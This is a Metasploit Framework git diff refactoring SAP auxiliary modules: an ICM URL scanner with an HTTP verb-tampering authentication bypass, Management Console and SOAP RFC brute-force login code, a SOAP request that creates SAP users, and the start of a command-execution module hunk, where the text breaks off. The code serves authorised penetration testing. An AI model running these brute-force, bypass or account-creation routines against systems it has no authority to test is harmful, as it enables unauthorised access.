b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb index 2cff53d60b..7cea619121 100644 --- a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb +++ b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb @@ -1,9 +1,8 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -30,62 +29,43 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('VERB', [true, "Verb for auth bypass testing", "HEAD"]), - OptString.new('URLFILE', [true, "SAP ICM Paths File", "sap_icm_paths.txt"]) + OptPath.new('URLFILE', [true, "SAP ICM Paths File", + File.join(Msf::Config.data_directory, 'wordlists', 'sap_icm_paths.txt')]) ], self.class) end # Base Structure of module borrowed from jboss_vulnscan def run_host(ip) - # If URLFILE is set empty, obviously the user made a silly mistake - if datastore['URLFILE'].empty? - print_error("Please specify a URLFILE") - return - end - - # Initialize the actual URLFILE path - if datastore['URLFILE'] == "sap_icm_paths.txt" - url_file = "#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}" - else - # Not the default sap_icm_paths file - url_file = datastore['URLFILE'] - end - - # If URLFILE path doesn't exist, no point to continue the rest of the script - if not File.exists?(url_file) - print_error("Required URL list #{url_file} was not found") - return - end - - res = send_request_cgi( + res = send_request_cgi( { 'uri' => "/" + Rex::Text.rand_text_alpha(12), 'method' => 'GET', - 'ctype' => 'text/plain', - }, 20) + }) if res print_status("Note: Please note these URLs may or may not be of interest based on server configuration") @info = [] - if not res.headers['Server'].nil? + if res.headers['Server'] @info << res.headers['Server'] print_status("#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}") else print_status("#{rhost}:#{rport} Server responded with a blank or missing Server Header") end - if (res.body and /class="note">(.*)code:(.*)(.*)code:(.*) 0 + l = store_loot( + 'sap.icm.urls', + "text/plain", + datastore['RHOST'], + @valid_urls, + "icm_urls.txt", "SAP ICM Urls" + ) + print_line + print_good("Stored urls as loot: #{l}") if l + end end def check_url(url) + full_url = write_url(url) res = send_request_cgi({ - 'uri' => url, + 'uri' => normalize_uri(url), 'method' => 'GET', - 'ctype' => 'text/plain', - }, 20) + }) if (res) - if not @info.include?(res.headers['Server']) and not res.headers['Server'].nil? - print_good("New server header seen [#{res.headers['Server']}]") - @info << res.headers['Server'] #Add To seen server headers + if res.headers['Server'] + unless @info.include?(res.headers['Server']) + print_good("New server header seen [#{res.headers['Server']}]") + @info << res.headers['Server'] #Add To seen server headers + end end - case - when res.code == 200 - print_good("#{rhost}:#{rport} #{url} - does not require authentication (200)") - when res.code == 403 - print_good("#{rhost}:#{rport} #{url} - restricted (403)") - when res.code == 401 - print_good("#{rhost}:#{rport} #{url} - requires authentication (401): #{res.headers['WWW-Authenticate']}") + case res.code + when 200 + print_good("#{full_url} - does not require authentication (#{res.code}) (length: #{res.headers['Content-Length']})") + @valid_urls << full_url << "\n" + when 403 + print_status("#{full_url} - restricted (#{res.code})") + when 401 + print_status("#{full_url} - requires authentication (#{res.code}): #{res.headers['WWW-Authenticate']}") + @valid_urls << full_url << "\n" # Attempt verb tampering bypass bypass_auth(url) - when res.code == 404 + when 404 # Do not return by default, only display in verbose mode - vprint_status("#{rhost}:#{rport} #{url.strip} - not found (404)") - when res.code == 500 - print_good("#{rhost}:#{rport} #{url} - produced a server error (500)") - when res.code == 301, res.code == 302 - print_good("#{rhost}:#{rport} #{url} - redirected (#{res.code}) to #{res.headers['Location']} (not following)") + vprint_status("#{full_url} - not found (#{res.code})") + when 400, 500 + print_status("#{full_url} - produced a server error (#{res.code})") + when 301, 302 + print_good("#{full_url} - redirected (#{res.code}) to #{res.redirection} (not following)") + @valid_urls << full_url << "\n" + when 307 + print_status("#{full_url} - redirected (#{res.code}) to #{res.redirection} (not following)") else - vprint_status("#{rhost}:#{rport} - unhandle response code #{res.code}") + print_error("#{full_url} - unhandled response code #{res.code}") + @valid_urls << full_url << "\n" end else - print_status("#{rhost}:#{rport} #{url} - not found (No Repsonse code Received)") + vprint_status("#{full_url} - not found (No Repsonse code Received)") end end + def write_url(path) + if datastore['SSL'] + protocol = 'https://' + else + protocol = 'http://' + end + + "#{protocol}#{rhost}:#{rport}#{path}" + end + def bypass_auth(url) - print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})") + full_url = write_url(url) + vprint_status("#{full_url} Check for verb tampering (#{datastore['VERB']})") res = send_request_raw({ - 'uri' => url, + 'uri' => normalize_uri(url), 'method' => datastore['VERB'], 'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason - }, 20) + }) - if (res and res.code == 200) - print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering") + if (res && res.code == 200) + print_good("#{full_url} Got authentication bypass via HTTP verb tampering") else - print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering") + vprint_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering") end end + + # "/urlprefix outputs the list of URL prefixes that are handled in the ABAP part of the SAP Web AS. + # This is how the message server finds out which URLs must be forwarded where. + # (SAP help) -> this disclose custom URLs that are also checked for authentication + def check_urlprefixes + urls = [] + res = send_request_cgi({ + 'uri' => "/sap/public/icf_info/urlprefix", + 'method' => 'GET', + }) + + if (res && res.code == 200) + res.body.each_line do |line| + if line =~ /PREFIX=/ + url_enc = line.sub(/^PREFIX=/, '') + # Remove CASE and VHOST + url_enc = url_enc.sub(/&CASE=.*/, '') + url_dec = URI.unescape(url_enc).sub(/;/, '') + urls << url_dec.strip + end + end + else + print_error("#{rhost}:#{rport} Could not retrieve urlprefixes") + end + + urls + end end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb index cd43405d13..f87e2d65f3 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb index aa0ad16ba7..17423458d1 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,13 +16,10 @@ class Metasploit4 < Msf::Auxiliary super( 'Name' => 'SAP Management Console Brute Force', 'Description' => %q{ - This module simply attempts to brute force the username | - password for the SAP Management Console SOAP Interface. By - setting the SAP SID value, a list of default SAP users can be - tested without needing to set a USERNAME or USER_FILE value. - The default usernames are stored in - ./data/wordlists/sap_common.txt (the value of SAP SID is - automatically inserted into the username to replce ). + This module simply attempts to brute force the username and + password for the SAP Management Console SOAP Interface. If + the SAP_SID value is set it will replace instances of + in any user/pass from any wordlist. }, 'References' => [ @@ -36,49 +33,43 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(50013), - OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']), - OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]), + OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']), + OptPath.new('USER_FILE', [ false, "File containing users, one per line", + File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ]) ], self.class) register_autofilter_ports([ 50013 ]) end - def run_host(ip) + def run_host(rhost) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']), + 'uri' => uri, 'method' => 'GET' - }, 25) + }) if not res - print_error("#{rhost}:#{rport} [SAP] Unable to connect") + print_error("#{peer} [SAP] Unable to connect") return end - if datastore['SAP_SID'] != '' - if !datastore['USER_FILE'].nil? - print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist") - elsif !datastore['USERPASS_FILE'].nil? - print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist") - else - print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist") - datastore['USER_FILE'] = Msf::Config.data_directory + '/wordlists/sap_common.txt' - end - end + print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID'] each_user_pass do |user, pass| - enum_user(user,pass) + enum_user(user,pass,uri) end end - def enum_user(user, pass) + def enum_user(user, pass, uri) # Replace placeholder with SAP SID, if present - if datastore['SAP_SID'] != '' + if datastore['SAP_SID'] user = user.gsub("", datastore["SAP_SID"].downcase) pass = pass.gsub("", datastore["SAP_SID"]) end - print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'") + print_status("#{peer} - Trying username:'#{user}' password:'#{pass}'") success = false soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' @@ -103,7 +94,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']), + 'uri' => uri, 'method' => 'POST', 'data' => data, 'headers' => @@ -113,9 +104,9 @@ class Metasploit4 < Msf::Auxiliary 'Content-Type' => 'text/xml; charset=UTF-8', 'Authorization' => 'Basic ' + user_pass } - }, 45) + }) - return if not res + return unless res if (res.code != 500 and res.code != 200) return @@ -136,17 +127,17 @@ class Metasploit4 < Msf::Auxiliary end rescue ::Rex::ConnectionError - print_error("#{rhost}:#{rport} [SAP #{rhost}] Unable to connect") + print_error("#{peer} [SAP] Unable to connect") return end if success - print_good("#{rhost}:#{rport} [SAP] Successful login '#{user}' password: '#{pass}'") + print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'") if permission - vprint_good("#{rhost}:#{rport} [SAP] Login '#{user}' authorized to perform OSExecute calls") + vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls") else - vprint_error("#{rhost}:#{rport} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls") + vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls") end report_auth_info( @@ -160,10 +151,9 @@ class Metasploit4 < Msf::Auxiliary :target_host => rhost, :target_port => rport ) - return else - vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'") - return + vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'") end end end + diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb index ffd602c529..b1d033363b 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb index bf13443ffa..1333c69ff8 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb index c3ff2df3fd..15868dd886 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,10 +47,10 @@ class Metasploit4 < Msf::Auxiliary return end - getEnvironment(ip) + get_environment(ip) end - def getEnvironment(rhost) + def get_environment(rhost) print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface ") success = false diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb index 9e36341d55..ccf26867ad 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index 5867d8fb8e..d48d7dfd8b 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb index 8fbb4cc489..a6027450f4 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,7 +30,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(50013), - OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']), OptString.new('MATCH', [false, 'Display matches e.g login/', '']), ], self.class) register_autofilter_ports([ 50013 ]) @@ -38,16 +38,6 @@ class Metasploit4 < Msf::Auxiliary end def run_host(ip) - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']), - 'method' => 'GET' - }, 25) - - if not res - print_error("#{rhost}:#{rport} [SAP] Unable to connect") - return - end - getprocparam(ip) end @@ -75,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']), + 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => data, 'headers' => @@ -84,9 +74,9 @@ class Metasploit4 < Msf::Auxiliary 'SOAPAction' => '""', 'Content-Type' => 'text/xml; charset=UTF-8', } - }, 30) + }) - if not res + unless res print_error("#{rhost}:#{rport} [SAP] Unable to connect") return end @@ -100,7 +90,7 @@ class Metasploit4 < Msf::Auxiliary body = res.body success = true end - elsif res.code == 500 + elsif res case res.body when /(.*)<\/faultstring>/i faultcode = $1.strip @@ -116,16 +106,16 @@ class Metasploit4 < Msf::Auxiliary end if success - #Only stoor loot if MATCH is not selected - if datastore['MATCH'].empty? - print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to loot") - store_loot( + # Only store loot if MATCH is not selected + if datastore['MATCH'].blank? + loot = store_loot( "sap.getprocessparameters", "text/xml", rhost, res.body, ".xml" ) + print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to #{loot}") else name_match = Regexp.new(datastore['MATCH'], [Regexp::EXTENDED, 'n']) print_status("[SAP] Regex match selected, skipping loot storage") diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb index d253126761..bb443cf0b6 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -234,12 +234,14 @@ class Metasploit4 < Msf::Auxiliary if webmethods webmethods_output = [] # create empty webmethods array webmethods_arr = webmethods.split(",") - print_good("#{rhost}:#{rport} [SAP] Unprotected Webmethods :::") webmethods_arr.each do | webm | # Only add webmethods not found in protectedweb_arr - webmethods_output << webm if not protectedweb_arr.include?(webm) + webmethods_output << webm unless protectedweb_arr && protectedweb_arr.include?(webm) + end + if webmethods_output + print_good("#{rhost}:#{rport} [SAP] Unprotected Webmethods :::") + print_status("#{webmethods_output.join(',')}") end - print_status("#{webmethods_output.join(',')}") if webmethods_output report_note(:host => rhost, :proto => 'tcp', :port => rport, diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index 83c0dd11e6..f950718dba 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb index 1348f0c17e..43a943d552 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,10 +47,10 @@ class Metasploit4 < Msf::Auxiliary return end - getStartProfile(ip) + get_start_profile(ip) end - def getStartProfile(rhost) + def get_start_profile(rhost) print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface") success = false soapenv ='http://schemas.xmlsoap.org/soap/envelope/' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb index b899a020cb..34c51c9eba 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index a8d2d25180..94b85230f3 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb index a0e5f758f9..79f9882999 100644 --- a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb +++ b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_service_discovery.rb b/modules/auxiliary/scanner/sap/sap_service_discovery.rb index 1d64e481e2..fa77142694 100644 --- a/modules/auxiliary/scanner/sap/sap_service_discovery.rb +++ b/modules/auxiliary/scanner/sap/sap_service_discovery.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -227,15 +227,13 @@ class Metasploit4 < Msf::Auxiliary end print_good("#{ip}:#{port}\t - #{service} OPEN") - begin - report_note( - :host => "#{ip}", - :proto => 'TCP', - :port => "#{port}", - :type => 'SAP', - :data => "#{service}" - ) - end + report_note( + :host => "#{ip}", + :port => "#{port}", + :type => 'SAP', + :data => "#{service}", + :update => :unique_data + ) r << [ip,port,"open", service] rescue ::Rex::ConnectionRefused vprint_status("#{ip}:#{port}\t - TCP closed") diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb index f8e69a04d5..3c832996bf 100644 --- a/modules/auxiliary/scanner/sap/sap_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_smb_relay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -252,4 +252,4 @@ class Metasploit4 < Msf::Auxiliary end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index 7a9535e6a9..036ef00b1e 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -70,17 +70,21 @@ class Metasploit4 < Msf::Auxiliary data << '' begin print_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}'") + res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), - 'headers' => - { - 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', - } + 'headers' => { + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' + } }) if res and res.code == 200 if res.body =~ /

Logon failed<\/h1>/ diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index d19a43b7c7..ca33d03a2b 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,13 +25,10 @@ class Metasploit4 < Msf::Auxiliary def initialize super( - 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_PING Login Brute Forcer', + 'Name' => 'SAP SOAP Service RFC_PING Login Brute Forcer', 'Description' => %q{ This module attempts to brute force SAP username and passwords through the - /sap/bc/soap/rfc SOAP service, using RFC_PING function. Default clients can be - tested without needing to set a CLIENT. Common/Default user and password - combinations can be tested just setting DEFAULT_CRED variable to true. These - default combinations are stored in MSF_DATA_DIRECTORY/wordlists/sap_default.txt. + /sap/bc/soap/rfc SOAP service, using RFC_PING function. }, 'References' => [ @@ -47,34 +44,32 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(8000), - OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']), - OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true]) + OptString.new('CLIENT', [true, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']), + OptString.new('TARGETURI', [true, 'The base path to the SOAP RFC Service', '/sap/bc/soap/rfc']), + OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", + File.join(Msf::Config.data_directory, "wordlists", "sap_default.txt") ]) ], self.class) end - def run_host(ip) - if datastore['CLIENT'].nil? - print_status("Using default SAP client list") - client = ['000', '001', '066'] + def run_host(rhost) + client_list = [] + if datastore['CLIENT'] =~ /^\d{3},/ + client_list = datastore['CLIENT'].split(/,/) + print_status("Brute forcing clients #{datastore['CLIENT']}") + elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/ + array = datastore['CLIENT'].split(/-/) + client_list = (array.at(0)..array.at(1)).to_a + print_status("Brute forcing clients #{datastore['CLIENT']}") + elsif datastore['CLIENT'] =~ /^\d{3}\z/ + client_list.push(datastore['CLIENT']) + print_status("Brute forcing client #{datastore['CLIENT']}") else - client = [] - if datastore['CLIENT'] =~ /^\d{3},/ - client = datastore['CLIENT'].split(/,/) - print_status("Brute forcing clients #{datastore['CLIENT']}") - elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/ - array = datastore['CLIENT'].split(/-/) - client = (array.at(0)..array.at(1)).to_a - print_status("Brute forcing clients #{datastore['CLIENT']}") - elsif datastore['CLIENT'] =~ /^\d{3}\z/ - client.push(datastore['CLIENT']) - print_status("Brute forcing client #{datastore['CLIENT']}") - else - print_status("Invalid CLIENT - using default SAP client list instead") - client = ['000', '001', '066'] - end + fail_with(Failure::BadConfig, "Invalid CLIENT") end - saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] Credentials", + + saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[SAP] #{peer} Credentials", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, @@ -86,29 +81,29 @@ class Metasploit4 < Msf::Auxiliary "user", "pass" ]) - if datastore['DEFAULT_CRED'] - credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt') - credentials.each do |u, p| - client.each do |cli| - success = bruteforce(u, p, cli) - if success - saptbl << [ rhost, rport, cli, u, p] - end + + client_list.each do |c| + print_status("#{peer} [SAP] Trying client: #{c}") + each_user_pass do |u, p| + vprint_status("#{peer} [SAP] Trying #{c}:#{u}:#{p}") + begin + success = bruteforce(u, p, c) + saptbl << [ rhost, rport, c, u, p] if success + rescue ::Rex::ConnectionError + print_error("#{peer} [SAP] Not responding") + return end end end - each_user_pass do |u, p| - client.each do |cli| - success = bruteforce(u, p, cli) - if success - saptbl << [ rhost, rport, cli, u, p] - end - end + + if saptbl.rows.count > 0 + print_line saptbl.to_s end - print(saptbl.to_s) end def bruteforce(username,password,client) + uri = normalize_uri(target_uri.path) + data = '' data << '' data << '' @@ -116,36 +111,40 @@ class Metasploit4 < Msf::Auxiliary data << '' data << '' data << '' - begin - res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN', - 'method' => 'POST', - 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client, - 'ctype' => 'text/xml; charset=UTF-8', - 'authorization' => basic_auth(username, password), - 'headers' => - { - 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', - } - }) - if res and res.code == 200 - report_auth_info( - :host => rhost, - :port => rport, - :sname => "sap", - :proto => "tcp", - :user => "#{username}", - :pass => "#{password}", - :proof => "SAP Client: #{client}", - :active => true - ) - return true - end - rescue ::Rex::ConnectionError - print_error("[SAP] #{rhost}:#{rport} - Unable to connect") - return false + + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'vars_get' => { + 'sap-client' => client, + 'sap-language' => 'EN' + }, + 'data' => data, + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}", + 'ctype' => 'text/xml; charset=UTF-8', + 'authorization' => basic_auth(username, password), + 'headers' => + { + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + } + }) + + if res && res.code == 200 && res.body.include?('RFC_PING') + print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}") + report_auth_info( + :host => rhost, + :port => rport, + :sname => "sap", + :proto => "tcp", + :user => username, + :pass => password, + :proof => "SAP Client: #{client}", + :active => true + ) + return true end - return false + + false end end + diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb index 72460a04fc..4a13a19a85 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -93,14 +93,18 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_CALL_SYSTEM request") begin res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => 